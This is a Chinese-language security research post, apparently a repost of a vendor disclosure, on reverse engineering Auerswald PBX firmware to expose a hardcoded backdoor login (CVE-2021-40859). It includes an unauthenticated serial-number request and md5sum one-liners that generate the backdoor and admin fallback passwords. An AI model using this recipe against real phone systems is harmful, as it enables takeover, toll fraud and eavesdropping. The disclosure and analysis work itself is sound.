在PBX内部发现固件后门

在PBX内部发现固件后门

本博客文章说明RedTeam如何渗透测试中发现的一种广泛使用的Auerswald电话系统真实世界的后门(见 咨询 和CVE-2021-40859)。我们将描述通过检查固件来查找后门的方法,强调漏洞的实际影响并概述我们与 Auerswald 的通信。

在我们的一次活动中,我们检查了 IP 电话和 Auerswald 的 PBX。PBX 将传入和传出呼叫路由到其相应的目的地,这与 IP 路由器不同。公司通常使用一个电话号码,并为特定电话分配不同的附加分机号码。

在对设备进行分析期间,我们发现了对 Auerswald 提供的服务的引用,以防客户丢失其管理员帐户的凭据。通过填写文件并联系制造商,可以重置 PBX 的管理员密码。我们想知道这个过程是如何运作的,并决定仔细研究一下。

获取固件镜像并解包

我们通过从Auerswald 支持网站下载 COMpact 5500 版本 7.8A 的固件映像开始了这项工作。像这样的镜像包含 PBX 的软件,并且可以让客户将设备更新到最新版本。由于没有分发固件映像的单一标准方法,我们首先必须弄清楚这个特定文件的格式。获取一些信息的简单方法是 Linux 命令行实用程序file

$ file 7_8A_002_COMpact5500.rom
7_8A_002_COMpact5500.rom: gzip compressed data, last modified: Wed Sep 23 15:04:43 2020, from Unix, original size modulo 2^32 196976698

输出显示我们使用gzip. 要获取未压缩的内容,可以将文件重命名为具有文件扩展名.gz ,然后使用程序提取gunzip

$ mv 7_8A_002_COMpact5500.rom 7_8A_002_COMpact5500.gz
$ gunzip 7_8A_002_COMpact5500.gz

这将生成7_8A_002_COMpact5500可以使用该file实用程序再次分析的文件:

$ file 7_8A_002_COMpact5500
7_8A_002_COMpact5500: u-boot legacy uImage, CP5500 125850, Linux/ARM, Multi-File Image (Not compressed), 196976634 bytes, Wed Sep 23 15:04:38 2020, Load Address: 0x00000000, Entry Point: 0x00000000, Header CRC: 0xCECA93E8, Data CRC: 0x99E65DF1

解压出来的文件是一个“Das U-Boot”(u-boot)多镜像。 U-boot是一种常用的引导加载程序,带有许多命令行实用程序,可用于创建或修改此类映像文件。可以使用 u-boot 实用程序从映像中提取一些基本信息dumpimage

$ dumpimage -l 7_8A_002_COMpact5500
Image Name:   CP5500 125850
Created:      Wed Sep 23 17:04:38 2020
Image Type:   ARM Linux Multi-File Image (uncompressed)
Data Size:    196976634 Bytes = 192359.99 KiB = 187.85 MiB
Load Address: 00000000
Entry Point:  00000000
Contents:
   Image 0: 512 Bytes = 0.50 KiB = 0.00 MiB
   Image 1: 196976110 Bytes = 192359.48 KiB = 187.85 MiB

输出显示多图像文件包含两个图像。第一个图像只有 512 字节大小,可以忽略。第二个镜像看起来更有趣,可以使用相同的工具提取:

$ dumpimage -p 1 -o rootfs 7_8A_002_COMpact5500
$ file rootfs
rootfs: Linux rev 1.0 ext2 filesystem data, UUID=c3604712-a2ca-412f-81ca-f302d7f20ef1, volume name "7.8A_002_125850."

file提取文件的输出显示它包含一个 Linux ext2 文件系统,可以像普通硬盘驱动器映像一样安装它:

$ sudo mount -o loop,ro rootfs /mnt

现在可以在 浏览文件系统的内容/mnt

查找 Web 服务器

由于密码重置功能的文档声明需要访问 Web 界面,因此我们首先搜索了有关如何实现 Web 界面的文件。该文件夹/opt/auerswald包含 Auerswald 特定的脚本和配置文件。它包括文件夹 lighttpd,其中包含lighttpd Web 服务器的配置文件 ,包括文件 fastcgi.conf

$HTTP["referer"] !~ "(.*/ipeditor/.*|.*/styles/main.css)" {
	$HTTP["url"] !~ "^(/statics/css/.*|/statics/errors/.*|[...]" {
		fastcgi.server  = ( "/" => ((
				"socket" => env.fastcgi_socket,
				"check-local" => "disable",
				"x-sendfile" => "enable",
				"fix-root-scriptname" => "enable"
			))
		)
	}
}
[...]

除了一些静态文件之外,HTTP 请求似乎被转发到 FastCGI套接字。套接字名称在启动期间通过环境变量传递lighttpd

$ cd /mnt/opt/auerswald
$ grep -r fastcgi_socket
scripts/run-lighty:export fastcgi_socket=/tmp/webs_fcgi.socket
lighttpd/fastcgi.conf:				"socket" => env.fastcgi_socket,
lighttpd/fastcgi.conf:				"socket" => env.fastcgi_socket,

搜索此套接字名称会显示二进制文件中的匹配项,该文件位于/opt/auerswald/web/webserver

$ grep -ir webs_fcgi
scripts/run-lighty:export fastcgi_socket=/tmp/webs_fcgi.socket
grep: web/webserver: binary file matches

所以看起来大部分 Web 界面都是由自定义二进制应用程序处理的。随后,为了弄清楚密码重置的工作原理,我们分析了webserverGhidra 中的二进制文件……

使用 Ghidra 进行逆向工程

Ghidra是美国国家安全局 (NSA) 开发的开源逆向工程工具。最值得注意的是,Ghidra 包含一个反汇编器和反编译器,它们试图将机器指令翻译回人类可读的格式。反汇编器将机器代码翻译成与实际机器代码非常接近的汇编语言,而反编译器则试图将代码翻译成更高级的编程语言。Ghidra 的反编译器以非常类似于 C 的语言生成代码。在 Ghidra 中创建一个新项目并导入webserver二进制文件,可以在“CodeBrowser”中打开该文件。首次打开文件时,Ghidra 会询问是否应该分析文件,并开始反编译过程。Ghidra 的界面分为不同的窗格。中央窗格显示反汇编代码,右侧显示当前所选函数的反编译代码。

一个好的起点是在二进制文件中搜索已知字符串。这可以通过打开“定义的字符串”窗口并使用新打开的窗口底部的搜索栏来完成。

在PBX内部发现固件后门

Auerswald文档中提到的默认用户“sub-admin”,所以我们首先搜索的结果:

在PBX内部发现固件后门

搜索会产生匹配项,选中后会显示在反汇编窗格中。除了在分析过程中反编译二进制文件外,Ghidra 还搜索交叉引用 (XREF)。因此,反汇编窗格在字符串旁边显示地址,这些地址指向使用字符串的位置。通过双击第一个 XREF,反汇编视图跳转到引用的地址。反编译器窗格现在显示该函数的类 C 代码。突出显示的行显示了“sub-admin”字符串的使用方式:

在PBX内部发现固件后门

strcmp调用该函数以将变量local_5e8与字符串“sub-admin”进行比较。请注意,显示的变量和函数名称不是原始代码中使用的名称。据推测,该变量local_5e8 是用户输入的用户名,因为它与已知的有效用户名进行比较。为了能够将此变量标识为代码其他位置的用户名,将其重命名为更具描述性的名称会很有帮助。这可以通过右键单击变量并选择“重命名变量”来完成。

在PBX内部发现固件后门

在这种情况下,username选择了新的变量名称。

现在,在代码的更深处,我们可以看到用户名与另一个字符串进行了比较:

iVar5 = strcmp((char *)username,"Schandelah");

“Schandelah”?

“Schandelah”似乎是一个特殊的用户名。事实证明,Schandelah 是德国北部一个小村庄的名称,Auerswald 在那里生产他们的设备(参见其德语维基百科条目)。这看起来已经很可疑了,因为在手册中找不到该用户名的文档。让我们看看用户名比较之后会发生什么……

iVar5 = strcmp((char *)username,"Schandelah");
if (iVar5 == 0) {
  FUN_00287a84(0,&local_94);
  if (local_600 == (undefined4 *)0x0) {
    [...]
  }
  else {
    iVar5 = strcmp((char *)local_600,(char *)&local_94);
    if (iVar5 == 0) {
      [...]
      goto LAB_00015954;
    }
  }
}

因此,如果用户名是SchandelahFUN_00287a84则使用对变量的引用调用函数local_94(第 3 行)。这个 pass-by-reference 表示以某种方式进行了FUN_00287a84修改local_94。之后,如果变量 local_600不为零,则将其与local_94using 的内容进行比较strcmp(第 8 行)。在检查了其他使用的地方之后,local_600很明显这是用户输入的密码。因此, local_94必须是用户的密码Schandelah!要获取密码的内容,我们必须了解FUN_00287a84. 双击 FUN_00287a84产生函数定义:

void FUN_00287a84(undefined4 param_1)
{
  FUN_002878e8(param_1,0,0);
  return;
}

看起来这只是一个包装函数,它使用预定义的参数调用另一个函数。内部函数是:

void FUN_002878e8(undefined4 *param_1,int param_2,uint param_3,undefined4 param_4)
{
  undefined4 uVar1;
  undefined4 local_c4;
  [...]

  if (param_1 == (undefined4 *)0x0) {
    param_1 = &local_84;
    FUN_00289af4(param_1,0x21);
  }
  if (param_2 != 0) {
    if (param_3 < 0x12) {
      __strcpy_chk(&local_2c,(&PTR_DAT_00366940)[param_3],8);
    }
    else {
      local_2c = 0x2e612e6e;
      local_28 = local_28 & 0xffffff00;
    }
  }
  uVar1 = FUN_0027b640(&local_3c,0x10);
  __snprintf_chk(&local_c4,0x40,1,0x40,"%s%s%s%s",param_1,&DAT_0036698c,uVar1,&local_2c);
  FUN_002693f8(&local_c4,&local_60);
  FUN_002748e0(param_4,&local_60,8);
  [...]
}

此函数首先使用函数FUN_00289af4和 检索值FUN_0027b640。然后,在第 21 行,snprintf用于连接四个字符串值。要找出完整的字符串,我们必须找出每个参数的值。它以 开头param_1,通过FUN_00289af4第 9 行中的函数调用来检索 它。再次双击使 Ghidra 跳转到该函数:

void FUN_00289af4(char *param_1,uint param_2)
{
  int iVar1;
  [...]
  memset(param_1,0,param_2);
  iVar2 = FUN_0028a1c4();
  if (iVar2 != 0) {
    FUN_002748e0(param_1,iVar2 + 0x20,uVar4);
  }
  [...]
  if (iVar2 != 0) {
    FUN_002546f8(0x164,5,0,"targetlib_ifc_impl.c",0x15,"auer_getPbxSerialNumber",0x18,0xd3,
                 "%s: serial=%s","auer_getPbxSerialNumber",param_1);
  }
  [...]
  return;
}

幸运的是,函数的原始名称作为字符串包含在函数中。名称为auer_getPbxSerialNumber,表示该函数检索PBX 的序列号。第 12 行和第 13 行调用的函数可能会发出相应的日志消息。由于它可能在其他地方使用,我们将其重命名为auer_debuglog. 我们还将当前函数重命名FUN_00289af4为 auer_getPbxSerialNumber. 然后我们可以使用键盘快捷键“Alt + Left Arrow”跳回到之前访问过的函数。

以类似的方式,我们最终找出了snprintf函数调用的所有其他参数 。在为每个变量和函数分配适当的名称后,连接字符串的值变得明显:

void FUN_00289af4(char *param_1,uint param_2)
{
  undefined4 currentDate;
  undefined4 local_c4;
  [...]

  if (pbx_snr == (undefined4 *)0x0) {
    pbx_snr = &local_84;
    auer_getPbxSerialNumber(pbx_snr,0x21);
  }
  if (param_2 != 0) {
    if (param_3 < 0x12) {
      __strcpy_chk(&countrycode,(&countrycodes)[param_3],8);
    }
    else {
      countrycode = 0x2e612e6e;
      local_28 = local_28 & 0xffffff00;
    }
  }
  currentDate = getCurrentDateAsString(&local_3c,0x10);
  __snprintf_chk(&local_c4,0x40,1,0x40,"%s%s%s%s",pbx_snr,"r2d2",currentDate,&countrycode);
  FUN_002693f8(&local_c4,&local_60);
  FUN_002748e0(param_4,&local_60,8);

首先,检索 PBX 的序列号(第 9 行)。之后,如果函数的第二个参数不等于 0,则从列表中检索两个字母的国家代码(第 11 到 19 行)。但是,包装函数确保这个参数始终为零,因此我们可以跳过国家代码。最后,当前日期被读取为格式为“DD.MM.YYYY”(第 20 行)的字符串,这是德国常见的日期表示。然后,由这些值形成一个字符串,中间有附加的硬编码字符串r2d2。然后将生成的字符串作为函数的参数给出FUN_002693f8

void FUN_002693f8(char *param_1,char *param_2)
{
  [...]
  local_90 = 0xefcdab89;
  local_94 = 0x67452301;
  local_8c = 0x98badcfe;
  local_88 = 0x10325476;

  sVar1 = strlen(param_1);
  FUN_00268aac(&local_94,param_1,sVar1);
  FUN_00268ce4(&local_3c,&local_94);

  *param_2 = "0123456789abcdef"[local_3c >> 4];
  param_2[1] = "0123456789abcdef"[local_3c & 0xf];
  param_2[2] = "0123456789abcdef"[local_3b >> 4];
  param_2[3] = "0123456789abcdef"[local_3b & 0xf];
  [...]
  param_2[0x1f] = "0123456789abcdef"[local_2d & 0xf];
  param_2[0x20] = '\0';
  [...]
}

该函数首先用静态值初始化四个局部变量(第 4 到 7 行)。在 Internet 上的快速搜索表明,这些幻数用于 MD5 散列算法(参见RFC 1321,第 3.3 节):

3.3 Step 3. Initialize MD Buffer

   A four-word buffer (A,B,C,D) is used to compute the message digest.
   Here each of A, B, C, D is a 32-bit register. These registers are
   initialized to the following values in hexadecimal, low-order bytes
   first):

          word A: 01 23 45 67
          word B: 89 ab cd ef
          word C: fe dc ba 98
          word D: 76 54 32 10

请注意,RFC 使用 little-endian 字节顺序,而 Ghidra 将这些值显示为 big-endian 整数。函数FUN_00268aac(第 10 行)和 FUN_00268ce4(第 11 行)对应于 MD5 更新和完成操作。在完成摘要后,部分结果被用作一个字符串的索引,该字符串由所有 ASCII 数字和从ato 的字母组成f(第 13 到 19 行)。这使我们得出结论,该函数FUN_002693f8将 处的字符串的 MD5 摘要计算param_1为小写十六进制值。输出写入地址为param_2

相应地重命名函数后,只剩下一个未知函数:

__snprintf_chk(&unhashedPassword,0x40,1,0x40,"%s%s%s%s",pbx_snr,"r2d2",currentDate,&countrycode);
md5(&unhashedPassword,&hexHash);
FUN_002748e0(param_4,&hexHash,8);

该函数采用三个参数:此时param_4其值未知、十六进制 MD5 摘要和硬编码值8。同样,该函数包含有关其名称的信息:

void FUN_002748e0(char *param_1,char *param_2,size_t param_3)
{
  [...]
  if ((int)param_3 < 1) {
    __fprintf_chk(stderr,1,"%s: ungueltiger Aufruf mit size = %d durch %p!","auer_strncpy",param_3);
    fflush(stderr);
  }
  else {
    strncpy(param_1,param_2,param_3);
    param_1[param_3 - 1] = '\0';
  }
  [...]
}

该函数似乎是该函数的包装器strncpy,它将字符串从一个地址复制到另一个地址。由于该值8是作为参数给出的,我们天真地假设检索了 MD5 哈希的前八个字符。

细分后,用户的后门密码Schandelah似乎是使用以下算法构建的:

  1. 检索 PBX 的序列号
  2. 以字符串形式检索当前日期
  3. 计算 MD5 哈希:序列号 + “r2d2” + 当前日期(如 DD.MM.YYYY)
  4. 返回计算哈希的前 8 个字符

因此,攻击者为用户生成密码所需知道的唯一秘密信息Schandelah就是 PBX 的序列号。但是,事实证明,这些信息毕竟不是那么秘密,而是可以在不通过路径身份验证的情况下检索到/about_state

$ curl --include https://192.168.1.2/about_state
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]

{
  "pbx": "COMpact 5500R",
  "pbxType": 35,
  "pbxId": 0,
  "version": "Version 7.8A - Build 002  ",
  "serial": "1234123412",
  "date": "30.08.2021",
  [...]
}

在我们计算出密码然后尝试使用用户登录后Schandelah,身份验证失败。在这一点上,可能有几个可能的原因,因为我们无法调试 PBX,我们必须通过再次检查反编译代码来验证密码生成过程的每个步骤。最后,事实证明我们误解了strncpy包装器的实现:虽然strncpy确实复制了八个字符,但包装器auer_strncpy随后确保字符串正确地以空值结尾:

strncpy(param_1,param_2,param_3);
param_1[param_3 - 1] = '\0';

因此,后门密码实际上只包含 MD5 哈希的七个字符,例如:

$ echo -n 1234123412r2d230.08.2021 | md5sum | egrep -o '^.{7}'
1432d89

有了这个密码,我们就可以成功认证了。登录后,网页界面显示了一个特殊的服务页面,其中包括重置管理员密码的功能。

更多“Schandelah”?

虽然这个后门密码允许我们重置管理员密码并获得 PBX 的完全权限,但我们想知道是否在其他地方使用了相同的密码生成器。我们使用 Ghidra 的交叉引用搜索来查找密码生成函数的其他调用。在Schandelah检查用户的同一个函数中,可以找到以下代码:

iVar5 = strcmp((char *)password,(char *)&local_d8);
if (iVar5 != 0) {
  [...]
  FUN_0019441c(param_1[2],"TkLand",&local_5c4);
  generate_backdoor_password(0,1,local_5c4,&local_2d8);
  iVar5 = strcmp((char *)password,(char *)&local_2d8);
  goto joined_r0x00015678;
}

此代码分支在admin传递管理员用户名时执行。首先,local_d8检查存储在变量中的真实管理员密码。如果用户输入的密码不匹配,则会再次将其与使用后门程序生成的“备用”密码进行比较。但是,这一次,为 PBX 配置的国家代码被读出并作为参数传递。因此,admin 用户的备用密码是使用两个字母的国家代码生成的,例如:

$ echo -n 1234123412r2d230.08.2021DE | md5sum | egrep -o '^.{7}'
92fcdd9

admin备用密码提供给PBX完全特权访问,而不需要先更改密码。

所以呢?

虽然后门密码是在对特定 Auerswald PBX 的渗透测试中发现的,但制造商的许多其他 PBX 型号也受到影响。在某些情况下,这些 PBX 设备的 Web 界面面向 Internet,因此可能会受到大规模攻击。很难准确判断有多少设备受到影响,但在Shodan上的快速搜索 显示互联网上有一些 Auerswald lighttpd 服务器。但是,并非所有结果都是 PBX 设备,并且此搜索不考虑固件版本。

在PBX内部发现固件后门

由于这些设备中的大多数都处理公司的呼入和呼出电话,因此妥协可能会产生严重后果例如,攻击者可以拨打收费电话号码以获得经济利益或窃听敏感电话以获取有利于他们的信息。

更多漏洞

由于所有测试的 Auerswald 设备都具有基于 Web 的配置界面,我们还检查了这些设备是否存在典型的 Web 漏洞。可以找到一种从单个 IP 电话 ( CVE-2021-40856 )读取凭据的方法,该方法允许以有限的权限访问 PBX。然后这些权限可以升级到“子管理员”(CVE-2021-40857),这是一个通常用于配置 PBX 的用户。总而言之,我们发现了攻击者如何获得对电话基础设施的高特权访问的几种方法。

向奥尔斯瓦尔德披露

该漏洞存在于受影响设备的多个固件版本中,因此只能由制造商自己提供彻底修复。经我们客户的批准,我们向 Auerswald 披露了该漏洞的详细信息。为了便于快速解决,我们设定了 90 天的固定时间框架,之后我们还将向公众发布漏洞的详细信息。这使供应商有足够的时间进行适当的修复,同时还确保其他受影响的企业了解问题和潜在的缓解措施。我们始终确保以非常清晰的方式传达我们的披露流程。此外,我们尝试以合理的方式将公开披露与供应商发布的修复程序进行协调。

Auerswald 做出了典型的反应,承认了问题并及时为受影响的设备发布了更新的固件。我们更新了进度,并提供了固定固件和设备访问权限,以便在发布之前对其进行测试,以确保漏洞已得到正确解决。您可以在我们的咨询中找到公开披露流程的时间表。

from

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注